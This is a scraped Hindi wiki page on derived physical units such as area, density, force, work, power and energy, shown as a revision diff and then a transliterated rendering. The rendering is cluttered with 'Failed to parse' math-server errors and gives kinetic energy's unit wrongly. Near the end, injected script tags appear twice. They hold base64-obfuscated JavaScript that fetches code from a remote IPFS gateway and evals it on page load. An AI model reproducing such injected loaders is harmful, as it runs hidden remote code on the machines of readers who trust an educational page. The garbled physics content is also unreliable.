Difference between revisions of "व्युत्पन्न मात्रक"

भारत डिस्कवरी प्रस्तुति
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एक अथवा एक से अधिक [[मूल मात्रक|मूल मात्रकों]] पर उपयुक्त घातें लगाकर प्राप्त किए गए [[मात्रक|मात्रकों]] को व्युत्पन्न मात्रक कहते हैं, अर्थात् व्युत्पन्न मात्रक मूल मात्रकों पर निर्भर करते हैं। कुछ व्युत्पन्न मात्रक निम्नलिखित हैं—
 
एक अथवा एक से अधिक [[मूल मात्रक|मूल मात्रकों]] पर उपयुक्त घातें लगाकर प्राप्त किए गए [[मात्रक|मात्रकों]] को व्युत्पन्न मात्रक कहते हैं, अर्थात् व्युत्पन्न मात्रक मूल मात्रकों पर निर्भर करते हैं। कुछ व्युत्पन्न मात्रक निम्नलिखित हैं—
#क्षेत्रफल = लम्बाई <math>\times</math> चौड़ाई
+
*क्षेत्रफल = लम्बाई <math>\times</math> चौड़ाई
क्षेत्रफल का मात्रक = मीटर × मीटर = मीटर2
+
 
2.आयतन = लम्बाई × चौड़ाई × ऊँचाई
+
क्षेत्रफल का मात्रक = मीटर <math>\times</math> मीटर = मीटर<sup>2</sup>
आयतन का मात्रक = मीटर × मीटर × मीटर = मीटर3
+
*आयतन = लम्बाई <math>\times</math> चौड़ाई <math>\times</math> ऊँचाई
3.घनत्व = द्रव्यमान/आयतन
+
 
घनत्व का मात्रक = किग्रा/मीटर3
+
आयतन का मात्रक = मीटर <math>\times</math> मीटर <math>\times</math> मीटर = मीटर<sup>3</sup>
4.वेग = विस्थापन/समय
+
*[[घनत्व]] = द्रव्यमान/आयतन
 +
 
 +
घनत्व का मात्रक = किग्रा/मीटर<sup>3</sup>
 +
*[[वेग]] = विस्थापन/समय
 +
 
 
वेग का मात्रक = मीटर/सेकेण्ड
 
वेग का मात्रक = मीटर/सेकेण्ड
5.चाल = दूरी/समय
+
*[[चाल]] = दूरी/समय
 +
 
 
चाल का मात्रक = मीटर/सेकेण्ड
 
चाल का मात्रक = मीटर/सेकेण्ड
6. त्वरण = वेग–परिवर्तन/समय
+
*[[त्वरण]] = वेग–परिवर्तन/समय
त्वरण का मात्रक = मीटर/सेकेण्ड/सेकेण्ड = मीटर/सेकेण्ड2
+
 
7.बल = द्रव्यमान × त्वरण
+
त्वरण का मात्रक = मीटर/सेकेण्ड/सेकेण्ड = मीटर/सेकेण्ड<sup>2</sup>
बल का मात्रक = किग्रा × मीटर/सेकेण्ड2 = किग्रा–मीटर/सेकेण्ड2 = न्यूटन
+
*[[बल]] = द्रव्यमान <math>\times</math> त्वरण
8.कार्य = बल × विस्थापन
+
 
कार्य का मात्रक = न्यूटन × मीटर = किग्रा-मीटर2/सेकेण्ड2
+
बल का मात्रक = किग्रा <math>\times</math> मीटर/सेकेण्ड<sup>2</sup> = किग्रा–मीटर/सेकेण्ड<sup>2</sup> = न्यूटन
 +
*[[कार्य (भौतिकी)|कार्य]] = बल <math>\times</math> [[विस्थापन]]
 +
कार्य का मात्रक = न्यूटन <math>\times</math> मीटर = किग्रा-मीटर<sup>2</sup>/सेकेण्ड<sup>2</sup>
 +
 
 
कार्य के मात्रक को 'जूल' भी कहते हैं।
 
कार्य के मात्रक को 'जूल' भी कहते हैं।
 +
 
1 जूल = 1 न्यूटन मीटर
 
1 जूल = 1 न्यूटन मीटर
9. शक्ति = कार्य/समय
+
*शक्ति = कार्य/समय
 +
 
 
शक्ति का मात्रक = जूल/सेकेण्ड
 
शक्ति का मात्रक = जूल/सेकेण्ड
 +
 
शक्ति के मात्रक को 'वाट' भी कहते हैं।
 
शक्ति के मात्रक को 'वाट' भी कहते हैं।
 +
 
1 वाट = 1 जूल/सेकेण्ड  
 
1 वाट = 1 जूल/सेकेण्ड  
10.संवेग = द्रव्यमान × वेग
+
*संवेग = द्रव्यमान <math>\times</math> वेग
 +
 
 
संवेग का मात्रक =किग्रा-मीटर/सेकेण्ड
 
संवेग का मात्रक =किग्रा-मीटर/सेकेण्ड
11.गतिज ऊर्जा =1/2 द्रव्यमान × वेग2
+
*गतिज ऊर्जा =1/2 द्रव्यमान <math>\times</math> वेग<sup>2</sup>
 +
 
 
गतिज ऊर्जा का मात्रक = किग्रा-मीटर/सेकेण्ड
 
गतिज ऊर्जा का मात्रक = किग्रा-मीटर/सेकेण्ड
12.गुरुत्वीय स्थितिज ऊर्जा = द्रव्यमान × गुरुत्वीय त्वरण × दूरी
+
*गुरुत्वीय स्थितिज ऊर्जा = द्रव्यमान <math>\times</math> गुरुत्वीय त्वरण <math>\times</math> दूरी
गुरुत्वीय स्थितिज ऊर्जा का मात्रक = किग्रा-मीटर2/सेकेण्ड2
 
 
 
  
 +
गुरुत्वीय स्थितिज ऊर्जा का मात्रक = किग्रा-मीटर<sup>2</sup>/सेकेण्ड<sup>2</sup>
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==विमाएं==
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{{main|विमाएं}}
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भौतिक राशियों के व्युत्पन्न मात्रक निकालने के लिए मात्रकों पर जो घातें लगानी पड़ती हैं, उन्हें उस राशि की विमाएँ कहते हैं।
  
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{{प्रचार}}
 
{{लेख प्रगति
 
{{लेख प्रगति
|आधार=आधार1
+
|आधार=
|प्रारम्भिक=
+
|प्रारम्भिक=प्रारम्भिक1
 
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|माध्यमिक=
 
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|शोध=
 
}}
 
}}
==टीका टिप्पणी और संदर्भ==
+
==संबंधित लेख==
<references/>
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{{भौतिक विज्ञान}}
[[Category:नया पन्ना]]
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[[Category:भौतिक विज्ञान]][[Category:विज्ञान कोश]]
 
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Latest revision as of 06:37, 4 October 2011

ek athava ek se adhik mool matrakoan par upayukt ghatean lagakar prapt kie ge matrakoan ko vyutpann matrak kahate haian, arthath vyutpann matrak mool matrakoan par nirbhar karate haian. kuchh vyutpann matrak nimnalikhit haian—

  • kshetraphal = lambaee Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times chau daee

kshetraphal ka matrak = mitar Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times mitar = mitar2

  • ayatan = lambaee Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times chau daee Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times ooanchaee

ayatan ka matrak = mitar Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times mitar Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times mitar = mitar3

ghanatv ka matrak = kigra/mitar3

  • veg = visthapan/samay

veg ka matrak = mitar/sekend

chal ka matrak = mitar/sekend

  • tvaran = veg–parivartan/samay

tvaran ka matrak = mitar/sekend/sekend = mitar/sekend2

  • bal = dravyaman Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times tvaran

bal ka matrak = kigra Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times mitar/sekend2 = kigra–mitar/sekend2 = nyootan

  • kary = bal Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times visthapan

kary ka matrak = nyootan Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times mitar = kigra-mitar2/sekend2

kary ke matrak ko 'jool' bhi kahate haian.

1 jool = 1 nyootan mitar

  • shakti = kary/samay

shakti ka matrak = jool/sekend

shakti ke matrak ko 'vat' bhi kahate haian.

1 vat = 1 jool/sekend

  • sanveg = dravyaman Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times veg

sanveg ka matrak =kigra-mitar/sekend

  • gatij oorja =1/2 dravyaman Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times veg2

gatij oorja ka matrak = kigra-mitar/sekend

  • gurutviy sthitij oorja = dravyaman Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times gurutviy tvaran Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \times doori

gurutviy sthitij oorja ka matrak = kigra-mitar2/sekend2

vimaean

  1. REDIRECTsaancha:mukhy

bhautik rashiyoan ke vyutpann matrak nikalane ke lie matrakoan par jo ghatean lagani p dati haian, unhean us rashi ki vimaean kahate haian.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh